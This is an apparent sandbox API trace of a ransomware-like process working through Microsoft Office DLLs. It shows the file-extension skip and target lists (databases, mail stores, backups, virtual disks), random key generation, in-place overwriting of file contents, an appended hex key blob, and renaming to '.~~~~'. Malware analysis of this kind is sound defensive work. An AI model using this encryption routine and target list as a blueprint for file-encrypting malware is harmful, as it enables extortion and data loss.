	[0081.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".dbf") returned 0x0
	[0081.661] lstrlenW (lpString=".SQL") returned 4
	[0081.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".SQL") returned 0x0
	[0081.661] lstrlenW (lpString=".pst") returned 4
	[0081.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".pst") returned 0x0
	[0081.661] lstrlenW (lpString=".dbv") returned 4
	[0081.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".dbv") returned 0x0
	[0081.661] lstrlenW (lpString=".SDF") returned 4
	[0081.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".SDF") returned 0x0
	[0081.661] lstrlenW (lpString=".dtxs") returned 5
	[0081.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".dtxs") returned 0x0
	[0081.661] lstrlenW (lpString=".db3") returned 4
	[0081.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".db3") returned 0x0
	[0081.661] lstrlenW (lpString=".OST") returned 4
	[0081.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".OST") returned 0x0
	[0081.661] lstrlenW (lpString=".dbx") returned 4
	[0081.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".dbx") returned 0x0
	[0081.661] lstrlenW (lpString=".DB3") returned 4
	[0081.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".DB3") returned 0x0
	[0081.661] lstrlenW (lpString=".DAT") returned 4
	[0081.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".DAT") returned 0x0
	[0081.662] lstrlenW (lpString=".VHDX") returned 5
	[0081.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".VHDX") returned 0x0
	[0081.662] lstrlenW (lpString=".ndf") returned 4
	[0081.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".ndf") returned 0x0
	[0081.662] lstrlenW (lpString=".DB") returned 3
	[0081.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".DB") returned 0x0
	[0081.662] lstrlenW (lpString=".sql") returned 4
	[0081.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".sql") returned 0x0
	[0081.662] lstrlenW (lpString=".MYD") returned 4
	[0081.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".MYD") returned 0x0
	[0081.662] lstrlenW (lpString=".DBT") returned 4
	[0081.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".DBT") returned 0x0
	[0081.662] lstrlenW (lpString=".ACCDB") returned 6
	[0081.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".ACCDB") returned 0x0
	[0081.662] lstrlenW (lpString=".fdb") returned 4
	[0081.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".fdb") returned 0x0
	[0081.662] lstrlenW (lpString=".bak") returned 4
	[0081.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".bak") returned 0x0
	[0081.662] lstrlenW (lpString=".myd") returned 4
	[0081.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".myd") returned 0x0
	[0081.662] lstrlenW (lpString=".DTXS") returned 5
	[0081.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".DTXS") returned 0x0
	[0081.662] lstrlenW (lpString=".ckp") returned 4
	[0081.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".ckp") returned 0x0
	[0081.662] lstrlenW (lpString=".dbt") returned 4
	[0081.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".dbt") returned 0x0
	[0081.663] lstrlenW (lpString=".db") returned 3
	[0081.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".db") returned 0x0
	[0081.663] lstrlenW (lpString=".TXT") returned 4
	[0081.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".TXT") returned 0x0
	[0081.663] lstrlenW (lpString=".MDF") returned 4
	[0081.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".MDF") returned 0x0
	[0081.663] lstrlenW (lpString=".bdb") returned 4
	[0081.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".bdb") returned 0x0
	[0081.663] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0081.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.663] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0081.664] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.664] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0081.664] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0081.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce910
	[0081.664] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20165449637) returned 1
	[0081.664] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9a875b10, dwHighDateTime=0x1d60e1e)) 
	[0081.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0081.665] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0081.665] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0081.665] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe4e8
	[0081.665] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.665] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe4e8 | out: hHeap=0x300000) returned 1
	[0081.665] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.665] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.665] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7060
	[0081.665] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0081.665] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0081.665] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7060 | out: hHeap=0x300000) returned 1
	[0081.665] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0081.665] GetLastError () returned 0x0
	[0081.665] GetLastError () returned 0x0
	[0081.665] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0081.666] GetLastError () returned 0x0
	[0081.666] GetLastError () returned 0x0
	[0081.666] ReadFile (in: hFile=0x120, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0081.669] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.669] WriteFile (in: hFile=0x120, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0081.671] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0081.671] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.671] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.674] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0081.674] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.674] CloseHandle (hObject=0x120) returned 1
	[0081.674] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7060
	[0081.674] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll.~~~~")) returned 1
	[0081.675] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7060 | out: hHeap=0x300000) returned 1
	[0081.675] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0081.675] GetLastError () returned 0x0
	[0081.675] RtlWakeConditionVariable () returned 0x365f70
	[0081.675] GetCurrentThreadId () returned 0x9f4
	[0081.675] GetCurrentThreadId () returned 0x9f4
	[0081.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a9140
	[0081.675] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc080 | out: hHeap=0x300000) returned 1
	[0081.675] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe520 | out: hHeap=0x300000) returned 1
	[0081.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc080
	[0081.675] lstrlenW (lpString=".scr") returned 4
	[0081.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".scr") returned 0x0
	[0081.675] lstrlenW (lpString=".cmd") returned 4
	[0081.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".cmd") returned 0x0
	[0081.676] lstrlenW (lpString=".dll") returned 4
	[0081.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".dll") returned 0x0
	[0081.676] lstrlenW (lpString=".bat") returned 4
	[0081.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".bat") returned 0x0
	[0081.676] lstrlenW (lpString=".cpl") returned 4
	[0081.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".cpl") returned 0x0
	[0081.676] lstrlenW (lpString=".sys") returned 4
	[0081.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".sys") returned 0x0
	[0081.676] lstrlenW (lpString=".msc") returned 4
	[0081.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".msc") returned 0x0
	[0081.676] lstrlenW (lpString=".com") returned 4
	[0081.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".com") returned 0x0
	[0081.676] lstrlenW (lpString=".lnk") returned 4
	[0081.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".lnk") returned 0x0
	[0081.676] lstrlenW (lpString=".msp") returned 4
	[0081.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".msp") returned 0x0
	[0081.676] lstrlenW (lpString=".pif") returned 4
	[0081.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".pif") returned 0x0
	[0081.676] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0081.676] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0081.677] lstrlenW (lpString=".sqb") returned 4
	[0081.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".sqb") returned 0x0
	[0081.677] lstrlenW (lpString=".ost") returned 4
	[0081.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".ost") returned 0x0
	[0081.677] lstrlenW (lpString=".txt") returned 4
	[0081.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".txt") returned 0x0
	[0081.677] lstrlenW (lpString=".mdt") returned 4
	[0081.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".mdt") returned 0x0
	[0081.677] lstrlenW (lpString=".BDB") returned 4
	[0081.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".BDB") returned 0x0
	[0081.677] lstrlenW (lpString=".eql") returned 4
	[0081.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".eql") returned 0x0
	[0081.677] lstrlenW (lpString=".DBF") returned 4
	[0081.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".DBF") returned 0x0
	[0081.677] lstrlenW (lpString=".EQL") returned 4
	[0081.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".EQL") returned 0x0
	[0081.677] lstrlenW (lpString=".FDB") returned 4
	[0081.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".FDB") returned 0x0
	[0081.677] lstrlenW (lpString=".EDB") returned 4
	[0081.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".EDB") returned 0x0
	[0081.678] lstrlenW (lpString=".DACPAC") returned 7
	[0081.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".DACPAC") returned 0x0
	[0081.678] lstrlenW (lpString=".VHD") returned 4
	[0081.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".VHD") returned 0x0
	[0081.678] lstrlenW (lpString=".DBV") returned 4
	[0081.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".DBV") returned 0x0
	[0081.678] lstrlenW (lpString=".dacpac") returned 7
	[0081.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".dacpac") returned 0x0
	[0081.678] lstrlenW (lpString=".sdf") returned 4
	[0081.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".sdf") returned 0x0
	[0081.678] lstrlenW (lpString=".accdb") returned 6
	[0081.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".accdb") returned 0x0
	[0081.678] lstrlenW (lpString=".DBX") returned 4
	[0081.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".DBX") returned 0x0
	[0081.678] lstrlenW (lpString=".MDT") returned 4
	[0081.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".MDT") returned 0x0
	[0081.678] lstrlenW (lpString=".SQB") returned 4
	[0081.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".SQB") returned 0x0
	[0081.678] lstrlenW (lpString=".vhd") returned 4
	[0081.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".vhd") returned 0x0
	[0081.678] lstrlenW (lpString=".bac") returned 4
	[0081.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".bac") returned 0x0
	[0081.678] lstrlenW (lpString=".mdf") returned 4
	[0081.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".mdf") returned 0x0
	[0081.678] lstrlenW (lpString=".BAK") returned 4
	[0081.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".BAK") returned 0x0
	[0081.679] lstrlenW (lpString=".BAC") returned 4
	[0081.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".BAC") returned 0x0
	[0081.679] lstrlenW (lpString=".dbs") returned 4
	[0081.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".dbs") returned 0x0
	[0081.679] lstrlenW (lpString=".vhdx") returned 5
	[0081.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".vhdx") returned 0x0
	[0081.679] lstrlenW (lpString=".NDF") returned 4
	[0081.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".NDF") returned 0x0
	[0081.679] lstrlenW (lpString=".dat") returned 4
	[0081.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".dat") returned 0x0
	[0081.679] lstrlenW (lpString=".DBS") returned 4
	[0081.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".DBS") returned 0x0
	[0081.679] lstrlenW (lpString=".CKP") returned 4
	[0081.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".CKP") returned 0x0
	[0081.679] lstrlenW (lpString=".edb") returned 4
	[0081.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".edb") returned 0x0
	[0081.679] lstrlenW (lpString=".PST") returned 4
	[0081.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".PST") returned 0x0
	[0081.679] lstrlenW (lpString=".dbf") returned 4
	[0081.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".dbf") returned 0x0
	[0081.679] lstrlenW (lpString=".SQL") returned 4
	[0081.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".SQL") returned 0x0
	[0081.679] lstrlenW (lpString=".pst") returned 4
	[0081.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".pst") returned 0x0
	[0081.679] lstrlenW (lpString=".dbv") returned 4
	[0081.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".dbv") returned 0x0
	[0081.680] lstrlenW (lpString=".SDF") returned 4
	[0081.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".SDF") returned 0x0
	[0081.680] lstrlenW (lpString=".dtxs") returned 5
	[0081.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".dtxs") returned 0x0
	[0081.680] lstrlenW (lpString=".db3") returned 4
	[0081.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".db3") returned 0x0
	[0081.680] lstrlenW (lpString=".OST") returned 4
	[0081.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".OST") returned 0x0
	[0081.680] lstrlenW (lpString=".dbx") returned 4
	[0081.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".dbx") returned 0x0
	[0081.680] lstrlenW (lpString=".DB3") returned 4
	[0081.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".DB3") returned 0x0
	[0081.680] lstrlenW (lpString=".DAT") returned 4
	[0081.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".DAT") returned 0x0
	[0081.680] lstrlenW (lpString=".VHDX") returned 5
	[0081.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".VHDX") returned 0x0
	[0081.680] lstrlenW (lpString=".ndf") returned 4
	[0081.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".ndf") returned 0x0
	[0081.680] lstrlenW (lpString=".DB") returned 3
	[0081.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".DB") returned 0x0
	[0081.680] lstrlenW (lpString=".sql") returned 4
	[0081.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".sql") returned 0x0
	[0081.680] lstrlenW (lpString=".MYD") returned 4
	[0081.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".MYD") returned 0x0
	[0081.681] lstrlenW (lpString=".DBT") returned 4
	[0081.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".DBT") returned 0x0
	[0081.681] lstrlenW (lpString=".ACCDB") returned 6
	[0081.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".ACCDB") returned 0x0
	[0081.681] lstrlenW (lpString=".fdb") returned 4
	[0081.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".fdb") returned 0x0
	[0081.681] lstrlenW (lpString=".bak") returned 4
	[0081.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".bak") returned 0x0
	[0081.681] lstrlenW (lpString=".myd") returned 4
	[0081.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".myd") returned 0x0
	[0081.681] lstrlenW (lpString=".DTXS") returned 5
	[0081.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".DTXS") returned 0x0
	[0081.681] lstrlenW (lpString=".ckp") returned 4
